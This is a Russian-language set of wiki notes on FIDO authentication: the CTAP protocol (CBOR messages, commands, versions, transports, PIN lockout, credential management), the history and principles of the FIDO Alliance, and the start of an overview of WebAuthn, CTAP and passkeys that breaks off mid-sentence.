A-->>C: утверждение end ``` ## Двоичная упаковка сообщений (CBOR) без лишней магии CTAP2 кодирует запросы и ответы в картах CBOR, которые в документации называются `maps`, с небольшими целочисленными ключами. В отличие от JSON (JavaScript Object Notation, текстового представления объектов), CBOR рассчитан на компактные двоичные сообщения. Это уменьшает размер сообщений и упрощает реализацию на устройствах с ограниченной памятью. Минимальную запись чисел и длин с заданным порядком ключей называют каноническим кодированием, или `canonical CBOR`. Оно не допускает служебные метки (`tags`) и элементы без заранее указанной длины (`indefinite-length items`). Глубина вложенности ограничена четырьмя уровнями, а аутентификатор должен принимать сообщения как минимум до 1024 байт. Например, `authenticatorGetAssertion` передаёт RP ID под ключом `0x01`, хэш данных клиента `clientDataHash` под `0x02`, список разрешённых записей (`allow list`) под `0x03`, расширения под `0x04`, параметры работы (`options`) под `0x05` и параметры PIN/UV под `0x06`–`0x07`. Числовые ключи (`integer keys`) внутри CTAP не совпадают со строковыми именами WebAuthn; преобразование выполняет client platform. ## Основные команды | Команда | Код | Что делает | |---|---:|---| | `authenticatorMakeCredential` | `0x01` | создаёт credential при регистрации | | `authenticatorGetAssertion` | `0x02` | создаёт подписанное утверждение при входе | | `authenticatorGetInfo` | `0x04` | сообщает версии, возможности и лимиты | | `authenticatorClientPIN` | `0x06` | устанавливает/меняет PIN и выдаёт PIN/UV-токены | | `authenticatorReset` | `0x07` | выполняет заводской сброс и инвалидирует credentials | | `authenticatorGetNextAssertion` | `0x08` | возвращает следующий assertion из набора | | `authenticatorBioEnrollment` | `0x09` | управляет биометрическими шаблонами | | `authenticatorCredentialManagement` | `0x0A` | перечисляет, обновляет и удаляет discoverable credentials | | `authenticatorSelection` | `0x0B` | помогает пользователю выбрать один из аутентификаторов | | `authenticatorLargeBlobs` | `0x0C` | читает и записывает хранилище large blobs | | `authenticatorConfig` | `0x0D` | меняет поддерживаемую конфигурацию устройства | ## Версии: от CTAP1 к CTAP 2.3 FIDO Alliance публикует рабочие черновики для обсуждения и стабильные редакции, утверждённые участниками альянса. Первые имеют статус Working Draft, вторые — Proposed Standard. Поэтому номер версии нужно читать вместе со статусом и датой документа. - **CTAP1** — новое имя [[FIDO/u2f|U2F]]: второй фактор без discoverable credentials, PIN и управления записями (`Credential Management`). Credential находится по идентификатору-указателю (`key handle`), который сервер возвращает токену. CTAP2-аутентификаторам рекомендуется поддерживать CTAP1 для совместимости, но это не безусловное требование для каждого специализированного устройства. - **CTAP2** (2018, в составе FIDO2) — новый бинарный формат сообщений (компактная кодировка CBOR), команды `authenticatorMakeCredential` (регистрация), `authenticatorGetAssertion` (вход), `authenticatorGetInfo` (браузер узнаёт возможности ключа) и `authenticatorClientPIN`. Появились discoverable credentials и user verification — то, что сделало возможным беспарольный вход ([[FIDO/fido-protocols|разбор понятий]]). - **CTAP 2.1** (2021) — управление учётными данными на ключе (посмотреть и удалить отдельные [[FIDO/passkeys|passkey]], не сбрасывая всё), запись отпечатков для ключей с биометрией, расширение `credProtect` (уровень защиты учётной записи), корпоративная аттестация и политики вроде минимальной длины PIN для корпоративных ключей. - **CTAP 2.2 Proposed Standard** (14 июля 2025) — включил подробное описание hybrid transport и накопленные расширения. Строка версии `FIDO_2_2` при этом не определена для ответа `getInfo`. - **CTAP 2.3 Proposed Standard** (26 февраля 2026) — актуальная опубликованная версия. Она добавляет, среди прочего, политику сложности PIN, длительное касание для сброса, поддержку запросов цифровых учётных данных в формате JSON в гибридных сценариях и команды для прототипов производителей. - **CTAP 2.3.1 Working Draft** (29 мая 2026) — переносит установление гибридного канала в отдельную спецификацию PXP и уточняет постоянные разрешения PIN/UV. Строки `FIDO_2_3_1` в `getInfo` нет: реализация сообщает `FIDO_2_3`. ## Каналы связи: USB, NFC, BLE и гибридный транспорт CTAP работает поверх нескольких физических каналов, и именно они определяют форм-факторы ключей ([[FIDO/hardware-security-keys|какие бывают]]): - **USB HID** (Human Interface Device, стандартный интерфейс устройств): обычный драйвер уже есть в ОС. CTAPHID делит сообщение на начальный пакет (`initialization packet`) и продолжения (`continuation packets`), каждый с номером канала (`channel ID`). При 64-байтовом отчёте HID (`HID report`) максимальная полезная нагрузка одного сообщения составляет 7609 байт. Служебное сообщение ожидания (`keepalive`) сообщает, что ключ ждёт касания или продолжает обработку. - **NFC** (Near Field Communication, связь малого радиуса): CTAP использует ISO 7816 поверх бесконтактного канала. Само прикладывание может считаться user presence, если у аутентификатора нет отдельной кнопки. Короткое время связи требует быстрых ответов и специальной команды `GET RESPONSE` для длинных сообщений. - **BLE** (Bluetooth Low Energy, Bluetooth с низким энергопотреблением): сообщения идут через службу GATT (Generic Attribute Profile) протокола Bluetooth. Спецификация требует шифрование соединения и Bluetooth Core 4.0 или новее. Обычное BLE-сопряжение не доказывает физическую близость достаточно надёжно для гибридного сценария. - **Hybrid / PXP:** телефон выступает roaming authenticator для компьютера. QR-код запускает связь и передаёт одноразовые криптографические параметры, радиосообщение BLE (`BLE advertisement`) доказывает присутствие подходящего устройства рядом, затем стороны создают защищённый канал. CTAP-сообщения могут идти через службу-посредник (`tunnel service`) или локальный BLE-канал. ```mermaid sequenceDiagram participant PC as Компьютер participant Phone as Телефон participant Tunnel as Служба-посредник или локальный канал PC->>PC: показать QR с открытым ключом и секретом сеанса Phone->>PC: отсканировать QR Phone-->>PC: подтверждение близости по BLE PC->>Phone: защищённое согласование канала PC->>Tunnel: зашифрованные CTAP-сообщения Tunnel->>Phone: доставить сообщения Phone->>Phone: PIN/биометрия и подпись Phone-->>PC: утверждение по защищённому каналу ``` На 16 августа 2026 года CTAP 2.3 содержит нормативное описание hybrid transport, а CTAP 2.3.1 Working Draft ссылается на отдельный **Proximity Exchange Protocol 1.0 Working Draft** от 17 июля 2026 года. PXP отделяет доказательство близости от канала данных и способен переносить не только CTAP2, но и другие типы сообщений. ## PIN и защита от перебора CTAP2 ввёл **PIN ключа**, а CTAP 2.1 стандартизировал управление встроенной биометрией. Оба механизма дают user verification: аутентификатор локально проверяет пользователя, а сайт получает только UV-флаг. PIN не идёт по каналу открытым текстом. Client platform и аутентификатор сначала согласуют общий секрет (`key agreement`), платформа передаёт зашифрованный PIN, а после успешной проверки получает временный **PIN/UV token** («токен PIN или проверки пользователя»), записанный в протоколе как `pinUvAuthToken`. Последующие команды авторизуются кодом проверки целостности (`MAC`) в параметре `pinUvAuthParam` с ограниченными разрешениями (`permissions`). Токен не является самим PIN и по умолчанию имеет ограниченное время действия. ```mermaid flowchart LR Start["pinRetries ≤ 8
производитель может задать меньше"] --> Wrong["Неверный PIN
счётчик уменьшается"] Wrong --> Three{"Три ошибки подряд?"} Three -->|"да"| Cycle["Временная блокировка
нужно перезапустить питание"] Three -->|"нет"| Zero{"pinRetries = 0?"} Cycle --> Zero Zero -->|"нет"| Start Zero -->|"да"| Blocked["PIN_BLOCKED
PIN и встроенная проверка отключены"] Blocked --> Reset["Сброс
учётные данные стираются"] ``` Стандарт задаёт максимум не более восьми PIN-попыток; конкретный аутентификатор может дать меньше. Три последовательных несовпадения вызывают временную блокировку `CTAP2_ERR_PIN_AUTH_BLOCKED` до перезапуска питания (`power-cycle`). Нулевой `pinRetries` вызывает постоянную блокировку `CTAP2_ERR_PIN_BLOCKED`, снять которую можно только сбросом (`reset`). Правильный PIN восстанавливает счётчик, пока он не дошёл до нуля. > [!warning] Сброс — это потеря всех passkey на ключе > Забытый PIN при исчерпанных попытках означает сброс ключа и потерю всех device-bound passkey на нём. Это ещё один аргумент за правило «минимум два ключа» из [[FIDO/hardware-security-keys#Как выбрать: чек-лист|чек-листа выбора]]. `authenticatorReset` инвалидирует и записи CTAP2, и записи CTAP1/U2F, сбрасывает хранилище больших блоков (`large-blob storage`), состояние PIN/UV и конфигурацию. Для устройства без экрана запрос сброса обычно должен прийти вскоре после включения; если поддерживается `longTouchForReset`, пользователь удерживает сенсор не менее пяти секунд. ## Управление учётными данными и биометрией `authenticatorCredentialManagement` работает только с discoverable credentials. Client platform может узнать число записей, перечислить RP, показать записи выбранного RP, удалить запись или обновить имя пользователя. Эти операции обычно требуют PIN/UV-токен с разрешением `cm`; сбрасывать весь ключ для удаления одной записи не нужно. `authenticatorBioEnrollment` управляет встроенными биометрическими шаблонами. В CTAP 2.3 подробно описан режим работы с отпечатками пальцев, названный **fingerprint modality**: начало записи, получение следующих образцов, отмена, перечисление, переименование и удаление шаблонов. Биометрия остаётся внутри аутентификатора, а CTAP сообщает статус и результат локальной проверки. ## Где это видно пользователю Диалог «вставьте ключ», «коснитесь» или «введите PIN ключа» означает, что client platform выбрала roaming authenticator и ведёт CTAP-обмен. Настройки управления ключом безопасности используют `ClientPIN`, Credential Management, Bio Enrollment и Config. QR-код в пункте «войти с помощью телефона» запускает hybrid/PXP-сценарий. Сообщение браузера редко показывает точную CTAP-ошибку. Отказ может означать неподдерживаемый алгоритм, отсутствие места под discoverable credential, несовпадение политики PIN/UV, истечение времени ожидания (`timeout`), отмену или неподходящую запись. Для диагностики сначала проверяют возможности ключа через фирменную утилиту или системный менеджер, затем повторяют операцию с другим транспортом. ## 📚 См. также - [[FIDO/00-overview|Обзор раздела FIDO]] — оглавление всех заметок об аппаратных ключах - [[FIDO/fido-protocols|Протоколы FIDO]] — общая картина: challenge-response, привязка к домену - [[FIDO/webauthn|WebAuthn]] — веб-половина FIDO2: API, церемонии, discoverable credentials - [[FIDO/u2f|U2F]] — предшественник (он же CTAP1): механика key handle и счётчика - [[FIDO/hardware-security-keys|Физические ключи безопасности]] — железо, по которому этот протокол ходит - 🔗 [CTAP 2.3 Proposed Standard](https://fidoalliance.org/specs/fido-v2.3-ps-20260226/fido-client-to-authenticator-protocol-v2.3-ps-20260226.html) — актуальная опубликованная версия - 🔗 [CTAP 2.3.1 Working Draft](https://fidoalliance.org/specs/fido-v2.3.1-wd-20260529/fido-client-to-authenticator-protocol-v2.3.1-wd-20260529.html) — следующая редакция - 🔗 [Proximity Exchange Protocol 1.0 Working Draft](https://fidoalliance.org/specs/hybrid/proximity-exchange-protocol-v1.0-wd-20260717.html) — вынесенный hybrid-канал --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/FIDO/ctap.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - fido2 - webauthn - passkeys - 2fa - history aliases: - FIDO - FIDO Alliance - История FIDO - Что такое FIDO - Почему FIDO защищает от фишинга - Как появились passkeys link: https://fidoalliance.org/ --- # 🧬 Что такое FIDO: альянс, стандарты и их история > [!info] О чём заметка > Эта заметка объясняет, как появилась система входа по криптографической подписи устройства, какие задачи она решает и почему разные её части получили отдельные названия. Механика протоколов разобрана в [[FIDO/fido-protocols|заметке о протоколах FIDO]], практика выбора железа — в [[FIDO/hardware-security-keys|статье о физических ключах]]. ## Что такое FIDO FIDO расшифровывается как Fast IDentity Online («быстрая идентификация онлайн») и обозначает две связанные вещи. Во-первых, **FIDO Alliance** — некоммерческий отраслевой консорциум, который разрабатывает и сертифицирует стандарты аутентификации. Во-вторых, **семейство самих стандартов** (U2F, UAF, FIDO2), которые этот альянс выпустил. Когда говорят «FIDO-ключ» или «вход по FIDO», имеют в виду стандарты; когда «FIDO сертифицировала устройство» — альянс. Альянс появился как ответ на проблему общего секрета. Пароль вводит пользователь, а сервер хранит его проверочное представление. Атакующий может выманить пароль через поддельную страницу — такую атаку называют фишингом, — подобрать слабый вариант, найти его в чужой утечке или атаковать процедуру восстановления. Дополнительный SMS-код меняет число шагов, но остаётся переносимым секретом: жертва способна отдать его поддельному сайту. ## Принципы: почему FIDO не похож на пароль FIDO меняет сам предмет проверки. Сервер больше не спрашивает секрет, который пользователь способен назвать другому человеку. При регистрации телефон, компьютер или физический ключ создаёт математически связанную пару ключей. Закрытая часть остаётся на устройстве, а открытую часть сервер сохраняет для будущей проверки. Утечка серверной базы поэтому не даёт готового секрета для входа. ### Что значит «закрытый ключ подписывает запрос» При входе сервер присылает новую случайную задачу, браузер добавляет сведения о странице, а аутентификатор связывает их с сайтом и результатом локальной проверки пользователя. Получается точный набор байтов, относящийся к одной попытке входа. Алгоритм цифровой подписи принимает эти данные и закрытый ключ, а на выходе создаёт отдельное значение, которое называют подписью. Закрытый ключ при этом никуда не отправляется, а сам запрос не превращается в зашифрованный текст. Серверу не нужно и нельзя проверять содержимое закрытого ключа. Он получает исходные данные входа, подпись и находит сохранённый при регистрации открытый ключ. Алгоритм проверки отвечает только «подпись подходит» или «подпись не подходит». В [порядке проверки WebAuthn, опубликованном W3C](https://www.w3.org/TR/webauthn-3/#sctn-verifying-assertion), сервер именно так проверяет подпись над данными аутентификатора и преобразованными клиентскими данными. ```text подпись = создание_подписи(закрытый_ключ, данные_входа) верно_или_нет = проверка(открытый_ключ, данные_входа, подпись) ``` Открытый и закрытый ключи связаны устройством выбранного алгоритма. Закрытый ключ вместе с данными позволяет создать подпись, а открытый ключ вместе с теми же данными и подписью позволяет проверить результат. Обратная операция намеренно непрактична: по открытому ключу нельзя за приемлемое время вычислить закрытый при корректном алгоритме, размере ключа и реализации. Открытый ключ также не позволяет создать новую подпись, поэтому кража серверной базы не даёт возможности выдать себя за пользователя. Если атакующий поменяет хотя бы часть подписанных данных, например случайную задачу или привязку к сайту, старая подпись перестанет подходить. Успешная проверка сообщает серверу две вещи: ответ создал обладатель соответствующего закрытого ключа, а подписанные данные не изменились после создания подписи. Проверка кода или биометрии на самом устройстве отдельно показывает, что ключом воспользовался его владелец, если сайт потребовал такую проверку. ```mermaid flowchart LR Data["Данные одной попытки входа"] --> Sign["Создание подписи"] Private["Закрытый ключ
остаётся на устройстве"] --> Sign Sign --> Signature["Подпись"] Data --> Verify["Проверка на сервере"] Signature --> Verify Public["Открытый ключ
хранится на сервере"] --> Verify Verify --> Result["Подходит или не подходит"] ``` > [!important] Сервер проверяет доказательство, а не закрытый ключ > Закрытый ключ нужен устройству для создания результата, который нельзя получить одним открытым ключом. Сервер сверяет этот результат открытым ключом и тем самым проверяет владение закрытой частью, не получая и не восстанавливая её. ### Сравнение с ключами для удалённого входа При удалённом входе в командную строку другого компьютера применяется тот же общий принцип. Сервер хранит открытый ключ пользователя. Клиент подписывает закрытым ключом данные текущего соединения, а сервер проверяет подпись и разрешает вход, если этот открытый ключ назначен нужной учётной записи. Так работает вход по открытому ключу в протоколе защищённого удалённого доступа Secure Shell, который обычно сокращают до SSH. [Раздел 7 RFC 4252](https://www.rfc-editor.org/rfc/rfc4252.html#section-7) требует включать в подпись идентификатор текущего сеанса и параметры запроса входа. Поэтому перехваченную подпись нельзя без изменений перенести в другое SSH-соединение. В этом смысле сравнение FIDO с SSH-ключами верное. Общая идея SSH и FIDO одна: клиент доказывает владение закрытым ключом через подпись, а сервер проверяет её открытым ключом. Реализация различается подписываемыми данными и правилами вокруг операции. Один SSH-ключ пользователь может вручную добавить на несколько серверов. FIDO обычно создаёт отдельную пару для каждого сайта, а браузер и аутентификатор проверяют область сайта и адрес страницы. FIDO также умеет передать серверу признаки касания устройства и локальной проверки владельца кодом или биометрией. Эти правила веба мешают поддельному домену запросить подходящую подпись для настоящего сайта. Сайт должен получить отдельную пару ключей для своего домена. В стандартах сайт, который запрашивает регистрацию или вход, называют доверяющей стороной (relying party, RP), а область созданного для него ключа задаёт идентификатор доверяющей стороны (RP ID). Обычно это домен сервиса. Ключ для одного RP ID нельзя использовать как ключ для другого сайта. На каждую попытку входа сервер создаёт свежую случайную задачу. Устройство подписывает именно её, поэтому перехваченный ответ нельзя повторить в следующем сеансе. Такая одноразовая задача называется challenge, а порядок «задача, затем подписанный ответ» — challenge-response. Есть и вторая привязка к сайту. Браузер фиксирует схему, имя узла и порт страницы, с которой пришёл запрос, например `https://login.example.com:443`. Эту точную запись называют origin. Сервер сверяет её со своим ожидаемым адресом, поэтому подпись, запрошенная страницей на чужом домене, не должна пройти проверку у настоящего сервиса. Браузер и операционная система стоят между страницей и устройством: проверяют право сайта запросить ключ, показывают окно подтверждения и выбирают встроенный датчик или внешний брелок. Этот промежуточный слой называют клиентской платформой (client platform), а устройство, которое хранит ключ и создаёт подпись, — аутентификатором (authenticator). ```mermaid flowchart LR RP["Сервис (RP)
идентификатор записи
открытый ключ"] -->|"одноразовая задача (challenge)"| Client["Браузер и ОС
проверяют адрес страницы
и область сайта"] Client -->|"запрос операции"| Auth["Аутентификатор
закрытый ключ
код или биометрия локально"] Auth -->|"подписанное утверждение"| Client Client -->|"ответ WebAuthn"| RP ``` При входе браузер упаковывает challenge и origin в клиентские данные, а аутентификатор добавляет преобразованный RP ID и признаки локальной проверки. Подпись покрывает обе части. Точные структуры `clientDataJSON`, `authenticatorData` и поле `rpIdHash` нужны разработчику серверной проверки; общая гарантия для пользователя проще: ответ одновременно привязан к одной попытке и к одному сайту. Касание и проверка владельца означают разные вещи. Касание кнопки подтверждает, что человек присутствует рядом с устройством; стандарт называет этот признак User Presence (UP). Ввод локального цифрового кода (PIN) или биометрия проверяют самого владельца; это User Verification (UV). Современная ветка FIDO2 поддерживает оба признака, а сервис решает, достаточно ли касания или нужна проверка владельца. Разные сервисы получают разные пары ключей и идентификаторы записей. Это мешает связать пользователя между сайтами по самим учётным данным FIDO, но не скрывает одинаковый адрес почты, сетевые признаки и другие данные аккаунта. При регистрации устройство способно приложить свидетельство о своей модели и происхождении, которое называют аттестацией (attestation). Обычному сайту оно обычно не нужно; корпоративная политика может запросить его, если разрешает только выданные организацией устройства. Биометрический шаблон не передаётся сайту. Палец или лицо проверяет аутентификатор либо операционная система, а сервер видит только признак успешной локальной проверки. Способ хранения биометрии внутри телефона или компьютера зависит от конкретной платформы. > [!warning] FIDO защищает сильный путь, но не закрывает слабый > Пароль, SMS, письмо для восстановления или возможность добавить новый ключ доступа после слабой проверки оставляют обходной маршрут. Вредоносный код на странице сервиса и ошибки серверной проверки тоже могут разрушить гарантии. Для критичных аккаунтов восстановление должно быть не слабее основного входа. ## История ### 2009–2012: до альянса По официальному изложению FIDO, история началась в 2009 году, когда Рамеш Кесанупалли из Validity Sensors предложил Мишелю Барретту, тогдашнему руководителю PayPal по информационной безопасности (Chief Information Security Officer, CISO), использовать биометрию для входа в PayPal. Барретт настаивал на открытом стандарте, который не зависел бы от одного производителя. Альянс сформировали в июле 2012 года, а 12 февраля 2013 года о нём объявили публично. Роли первых участников различались: Lenovo, Nok Nok Labs, PayPal и Validity Sensors вошли в первый совет альянса, Agnitio получила статус ассоциированного основателя, а Infineon стала спонсором-основателем. ### 2013–2014: U2F, UAF и первый стандарт В 2013 году к альянсу присоединились Google, Yubico и NXP. Google и Yubico принесли разработку второго фактора, созданную для защиты сотрудников Google. Она стала стандартом **[[FIDO/u2f|U2F]]** (Universal 2nd Factor): пароль остаётся, после него сервер требует подпись физического ключа. 21 октября 2014 года Google включила Security Key для аккаунтов Google в Chrome. Финальный набор FIDO 1.0 вышел в декабре 2014 года; документы имеют разные даты: U2F 1.0 датирован 9 октября, а **[[FIDO/uaf|UAF]]** 1.0 — 8 декабря. UAF предлагал беспарольный вход для мобильных приложений, но не стал массовым веб-стандартом. ### 2015–2019: путь в браузеры — WebAuthn и FIDO2 U2F работал только как второй фактор и использовал отдельный интерфейс браузера. 12 ноября 2015 года Microsoft, Google, PayPal и Nok Nok Labs передали W3C пакет спецификаций платформы FIDO 2.0, названный FIDO 2.0 Platform Specifications. Рабочая группа W3C по веб-аутентификации, или Web Authentication Working Group, начала работу 17 февраля 2016 года и создала **[[FIDO/webauthn|WebAuthn]]**, программный интерфейс для регистрации и входа из кода страницы. FIDO Alliance параллельно развивал **[[FIDO/ctap|CTAP2]]**, протокол клиента с внешним аутентификатором; U2F получил имя CTAP1. Связка WebAuthn и CTAP стала FIDO2. 20 марта 2018 года W3C впервые перевёл WebAuthn в стадию кандидата в рекомендации, когда документ уже достаточно стабилен для широкой проверки реализациями. Официальное название этой стадии — Candidate Recommendation. Поддержка появилась в Chrome 67 и Firefox 60, а 4 марта 2019 года первое поколение WebAuthn, обозначенное как Level 1, стало рекомендацией W3C. FIDO2 разрешил аутентификатору самому находить подходящую учётную запись по сайту, поэтому вход мог начаться без заранее введённого логина. Такую запись назвали обнаруживаемыми учётными данными (discoverable credential). Стандарт также отделил касание устройства от локальной проверки владельца кодом или биометрией; вторую проверку называют User Verification (UV), и сервис сам решает, когда её требовать. ### 2019–2022: платформы вместо брелков 25 февраля 2019 года Android 7.0+ получил сертификацию FIDO2. В 2020 году к альянсу присоединилась Apple, а Safari 14 научился использовать Touch ID и Face ID как встроенные аутентификаторы WebAuthn. 5 мая 2022 года Apple, Google и Microsoft объявили планы превратить обнаруживаемые учётные данные в массовый способ входа. В интерфейсах этот способ получил название «ключ доступа», или **[[FIDO/passkeys|passkey]]**. Ключ доступа не обязан быть облачной копией. Один вариант допускает резервное копирование и синхронизацию между устройствами; его называют multi-device passkey. Другой остаётся на одном аутентификаторе и называется single-device passkey. Синхронизация решила часть проблемы потери устройства, но перенесла доверие к защите аккаунта поставщика учётных данных и его процедуре восстановления. ### 2022–2026: массовое внедрение Поддержка вышла поэтапно. iOS 16 стала доступна 13 сентября 2022 года. Android и Chrome начали публичное тестирование passkeys в октябре, а стабильная общедоступная версия Chrome M108 получила поддержку 8 декабря. Google Accounts добавили passkeys 3 мая 2023 года и сделали их вариантом по умолчанию для личных аккаунтов 10 октября. Встроенный интерфейс passkeys в Windows 11 начал распространяться 26 сентября 2023 года. FIDO Alliance сообщал, что в 2024 году passkeys могли использовать более 13 миллиардов аккаунтов, а к декабрю — более 15 миллиардов. Эти числа описывают доступность функции, а не число созданных ключей. В 2026 году альянс оценивал число passkeys в активном использовании примерно в 5 миллиардов. Стандарты тоже менялись, но W3C и FIDO Alliance используют разные шкалы зрелости документов. Датированную стабильную редакцию кандидата в рекомендации W3C называет Candidate Recommendation Snapshot; WebAuthn Level 3 имеет такой статус с 26 мая 2026 года. FIDO Alliance называет одобренную стабильную редакцию Proposed Standard: CTAP 2.3 получил этот статус 26 февраля 2026 года. Следующая редакция CTAP 2.3.1 пока остаётся рабочим черновиком (Working Draft). Вход телефоном на другом компьютере потребовал отдельного обмена, который передаёт запрос и подтверждает близость устройств. Этот механизм получил название Proximity Exchange Protocol (PXP); его первый рабочий черновик FIDO Alliance опубликовал 17 июля 2026 года. > [!note] Способ подключения и способ хранения — разные свойства > Встроенный аутентификатор может хранить ключ без резервной копии, а телефон способен выступать внешним аутентификатором для другого компьютера. Возможность копирования учётных данных не определяется способом подключения. Механика обоих вариантов разобрана в [[FIDO/passkeys|заметке о ключах доступа]], выбор отдельного устройства — в [[FIDO/hardware-security-keys|статье о физических ключах]]. ## Хронология одной таблицей | Год | Событие | |---|---| | 2009 | Разговор Validity Sensors и руководителя PayPal по информационной безопасности об открытом стандарте (по официальной истории FIDO) | | 2012 | Альянс сформирован в июле | | 2013 | Публичное объявление 12 февраля; Google и Yubico приносят разработку U2F | | 2014 | Google включает Security Key; в декабре завершён набор FIDO 1.0 (U2F + UAF) | | 2015–2016 | FIDO 2.0 подан в W3C; начинает работу Web Authentication Working Group | | 2018 | WebAuthn получает первый Candidate Recommendation; поддержка выходит в Chrome и Firefox | | 2019 | WebAuthn Level 1 становится рекомендацией W3C; Android 7.0+ сертифицирован для FIDO2 | | 2020 | Apple вступает в альянс; Safari 14 получает WebAuthn через Touch ID и Face ID | | 2022 | Apple, Google и Microsoft объявляют расширенную поддержку passkeys; выходят iOS 16 и Chrome M108 | | 2023 | Passkeys появляются в Google Accounts и интерфейсе Windows 11 | | 2024 | Passkeys доступны более чем для 13 млрд аккаунтов по оценке FIDO Alliance | | 2026 | WebAuthn L3 остаётся CR Snapshot; CTAP 2.3 — Proposed Standard; опубликован первый PXP Working Draft | ## 📚 См. также - [[FIDO/00-overview|Обзор раздела FIDO]] — оглавление всех заметок об аппаратных ключах - [[FIDO/fido-protocols|Протоколы FIDO]] — механика: challenge-response, WebAuthn/CTAP, passkeys - [[FIDO/u2f|U2F (Universal 2nd Factor)]] — первый стандарт семейства подробно: версии, механика, плюсы и минусы - [[FIDO/webauthn|WebAuthn]] и [[FIDO/ctap|CTAP]] — две половины FIDO2 подробно - [[FIDO/passkeys|Passkeys]] — беспарольный вход: синхронизация, гибридный транспорт, критика - [[FIDO/uaf|UAF]] — беспарольная ветка FIDO 1.0 и почему она не взлетела - [[FIDO/hardware-security-keys|Физические ключи безопасности]] — практика: YubiKey, открытые ключи, чек-лист выбора - [[SMS]] — почему SMS-коды не заменяют FIDO - 🔗 [fidoalliance.org](https://fidoalliance.org/) — сайт альянса, спецификации и история - 🔗 [FIDO Specifications](https://fidoalliance.org/specifications/download/) — актуальные версии CTAP, UAF и U2F - 🔗 [WebAuthn Level 3 (W3C Candidate Recommendation)](https://www.w3.org/TR/webauthn-3/) — текущая редакция веб-стандарта --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/FIDO/fido-history.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - fido2 - webauthn - u2f - ctap - passkeys aliases: - Протоколы FIDO - WebAuthn - CTAP - U2F - Passkeys - Как работает FIDO2 - Почему passkey защищает от фишинга link: https://www.w3.org/TR/webauthn-3/ --- # ⚙️ Протоколы FIDO: U2F, FIDO2, WebAuthn, CTAP и passkeys > [!info] О чём заметка > Эта заметка показывает путь запроса от сайта к браузеру, операционной системе и устройству, а затем обратно к серверу. Отдельно разобраны защита от поддельного сайта, различия ранних и современных вариантов FIDO и способы хранения учётных данных. История — в [[FIDO/fido-history|истории FIDO]], выбор железа — в [[FIDO/hardware-security-keys|статье о физических ключах]]. Пароль проходит от пользователя к сайту и потому может попасть на поддельную страницу. Система FIDO (Fast IDentity Online, «быстрая идентификация в сети») устроена иначе: устройство создаёт подпись, а сервер проверяет её, не получая закрытый ключ. ## От пароля к паре ключей При регистрации устройство создаёт два математически связанных ключа. Закрытый ключ остаётся в телефоне, компьютере или физическом брелоке и создаёт подписи. Открытый ключ получает сервер: он годится только для проверки. Такой способ называют криптографией с открытым ключом, или асимметричной криптографией. Одна пара не используется сразу для всех сайтов. Для каждого сервиса устройство создаёт отдельную запись, а сервер сохраняет её идентификатор вместе с открытым ключом. Из-за этого утечка одного сервиса не раскрывает ключи для остальных, а украденная серверная база не содержит секрета, которым можно подписать новый вход. Криптография объясняет основу, но ещё не показывает весь путь запроса. Между сайтом и закрытым ключом находятся страница, браузер, операционная система и сам аутентификатор. Каждый участник проверяет свою часть условий. ## Кто участвует в FIDO-входе Сайт состоит из страницы и серверной части. Сервер создаёт запрос на регистрацию или вход, хранит открытые ключи и проверяет ответы. В стандарте такой сервис называют доверяющей стороной (relying party, RP). Страница лишь передаёт данные между сервером и браузером по защищённому веб-соединению. Браузер и операционная система образуют промежуточный слой. Он проверяет, какой сайт просит доступ к ключу, показывает окно подтверждения и выбирает подходящее устройство. Этот слой называют клиентской платформой (client platform). Закрытый ключ хранит и использует аутентификатор (authenticator). Если он встроен в телефон или компьютер, перед нами платформенный аутентификатор (platform authenticator). Физический брелок или телефон, которым подтверждают вход на другом компьютере, работает как внешний аутентификатор (roaming authenticator). Страница вызывает в браузере набор функций регистрации и входа. Такой набор функций называют программным интерфейсом приложения (API), а веб-интерфейс этой системы — [[FIDO/webauthn|WebAuthn]]. Когда выбран внешний аутентификатор, браузер или операционная система передаёт ему команды по [[FIDO/ctap|протоколу CTAP]]. Современная связка WebAuthn и CTAP2 называется FIDO2. ```mermaid flowchart LR Server["Сервер сервиса
вызов, открытый ключ,
запись учётных данных"] <-->|"защищённое соединение"| Page["Страница сервиса
вызовы WebAuthn"] Page <-->|"создать / получить"| Client["Браузер и ОС
клиентская платформа"] Client -->|"внутренний API ОС"| Platform["Встроенный аутентификатор
аппаратное защищённое хранилище"] Client -->|"CTAP через провод, бесконтактную связь
или гибридный режим"| Roaming["Внешний аутентификатор
аппаратный ключ
или телефон"] ``` CTAP нужен прежде всего для внешнего аутентификатора. Встроенный аутентификатор может общаться с операционной системой через внутренний интерфейс и вообще не использовать CTAP на этом участке. Поэтому один телефон способен играть две роли: обслуживать приложения на самом телефоне как платформенный аутентификатор или подтверждать вход на ноутбуке как внешний. ## Регистрация: от challenge до открытого ключа Регистрация начинается со свежей случайной задачи, созданной сервером для одной попытки. Устройство должно включить эту задачу в подписываемый ответ, поэтому старый ответ нельзя повторить. В спецификациях такую задачу называют challenge, а порядок «задача, затем подписанный ответ» — challenge-response. Браузер фиксирует точный адрес страницы, включая схему, имя узла и порт. Эту границу называют origin. Одновременно сервер указывает доменную область, для которой можно создать ключ; это идентификатор доверяющей стороны (RP ID). Браузер не разрешит странице чужого домена выбрать произвольный RP ID. Клиентская платформа передаёт внешнему ключу команду создать учётные данные; её точное имя в CTAP — `authenticatorMakeCredential`. Аутентификатор создаёт пару ключей для указанного RP ID и сохраняет закрытый ключ со служебными сведениями. Такая внутренняя запись называется источником учётных данных (credential source), а её отдельный идентификатор — credential ID. Сервер получает идентификатор и открытый ключ. При регистрации устройство может также приложить свидетельство о модели и происхождении. Это свидетельство называют аттестацией (attestation). Обычный сайт способен отказаться от сведений о модели; организация может проверять их, если разрешает только конкретные корпоративные устройства. Наконец, устройство отмечает способ локального подтверждения. Касание кнопки доказывает присутствие человека и называется User Presence (UP). Ввод локального цифрового кода (PIN) или биометрия проверяют владельца; этот признак называется User Verification 